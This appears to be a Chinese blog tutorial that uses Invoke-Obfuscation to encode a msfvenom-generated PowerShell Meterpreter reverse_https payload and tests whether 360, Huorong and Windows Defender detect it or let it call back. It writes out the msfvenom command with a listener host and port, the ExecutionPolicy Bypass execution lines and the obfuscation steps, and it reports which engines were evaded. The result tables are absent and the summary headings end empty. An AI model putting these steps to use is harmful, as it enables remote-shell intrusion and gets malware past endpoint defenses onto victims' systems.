Invoke-Obfuscation下载地址：

https://github.com/danielbohannon/Invoke-Obfuscation

Invoke-Obfuscation是一款混淆工具，具体信息可自行百度学习。

参考文档

https://blog.csdn.net/weixin_44216796/article/details/112723993

先说下结果：

Invoke-Obfuscation的Encoding部分方法混淆可以过360和火绒，但是过不了Windows Defender

1. 模块使用

导入模块

Import-Module C:\0_poweshell\Invoke-Obfuscation-master\Invoke-Obfuscation.psd1

这里注意，一定要写上完整路径，不然会报错

加载模块

Invoke-Obfuscation

支持的加密方法：

• TOKEN支持分部分混淆
  
• STRING整条命令混淆
  
• COMPRESS将命令转为单行并压缩，
  
• ENCODING编码
  
• LAUNCHER选择执行方式
  

本文只讨论ENCODING编码方法

2. msfvenom下msf上线

首先用msfvenom生成一个ps1文件

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow.ps1

然后设置监听：

然后回到win10

2.1 360

直接在有360的环境下进行执行（这里不做云查杀和杀毒的操作）

PowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.ps1

上线成功。

这里来一次查杀，首先使用按位置查杀

报毒，直接在这个位置关闭，不处理

再运行一次，此时360提示有毒。

2.2 Windows defender

复制到Windows sever2019下，Windows Defender直接杀掉，很干脆

2.3 火绒

关掉Windows Defender

直接使用火绒扫描，没扫描到。

上线试试：

直接就上线了！！！

2.4 总结

因此在此可以进行如下总结：

msfvenom最新版（2021-05-28安装）生成powershell攻击脚本在静态下的查杀效果：

ps：以上环境都在联网状态下

同样

msfvenom最新版（2021-05-28安装）生成powershell攻击脚本在动态执行上线的查杀效果：

ps：以上环境都联网，且均在cmd中执行-ExecutionPolicy Bypass来绕过执行安全策略进行上线。

这里可以看到，360在第一次并不拦截，而且还可以上线，这可能由于我用的是虚拟机，如果是实体机的话，应该会被杀。

3. 混淆大法

设置需要混淆的木马文件路径

set scriptpath C:\0_poweshell\msf-crow.ps1

4. 第一种混淆 1

encoding

选择第一种方法混淆

1

将文件输出的out 1.ps1

文件路径：

C:\0_poweshell\Invoke-Obfuscation-master\1.ps1

攻击机开启监听模式：

上线测试：

4.1 360

在360环境下直接运行（生成之后没有杀毒扫描）

PowerShell.exe -ExecutionPolicy Bypass -File C:\0_poweshell\Invoke-Obfuscation-master\1.ps1

这里是在cmd命令行下执行PowerShell命令的

-ExecutionPolicy Bypass：绕过执行安全策略，在默认情况下，PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数，可以绕过任意一个安全保护规则。在渗透测试中，基本每一次运行PowerShell脚本时都要使用这个参数。

（参考：https://blog.csdn.net/Eastmount/article/details/115503946）

360下上线成功

但使用360云查杀之后显示报毒：

4.2 windows Defender

windows Defender 直接静态被杀

4.3 火绒

火绒，静态扫描报毒

动态上线失败

4.4 总结

静态查杀

全挂。。。

5. 第2种混淆 2

这里先静态测试下

5.1 火绒

火绒直接报毒

5.2   360

360云查杀，正常

5.3 Windows Defender

正常

静态查杀能力：

动态上线能力：

PowerShell.exe -ExecutionPolicy Bypass -File C:\0_poweshell\Invoke-Obfuscation-master\2.ps1

火绒：

静态查杀，动态上线失败

windf：

静态查杀正常，动态上线失败

360：

动态上线失败，而且清除了木马，因此这里360也是静动均查杀了木马

此时对其进行重新调整如下表

5.4 总结

静态查杀能力：

动态上线：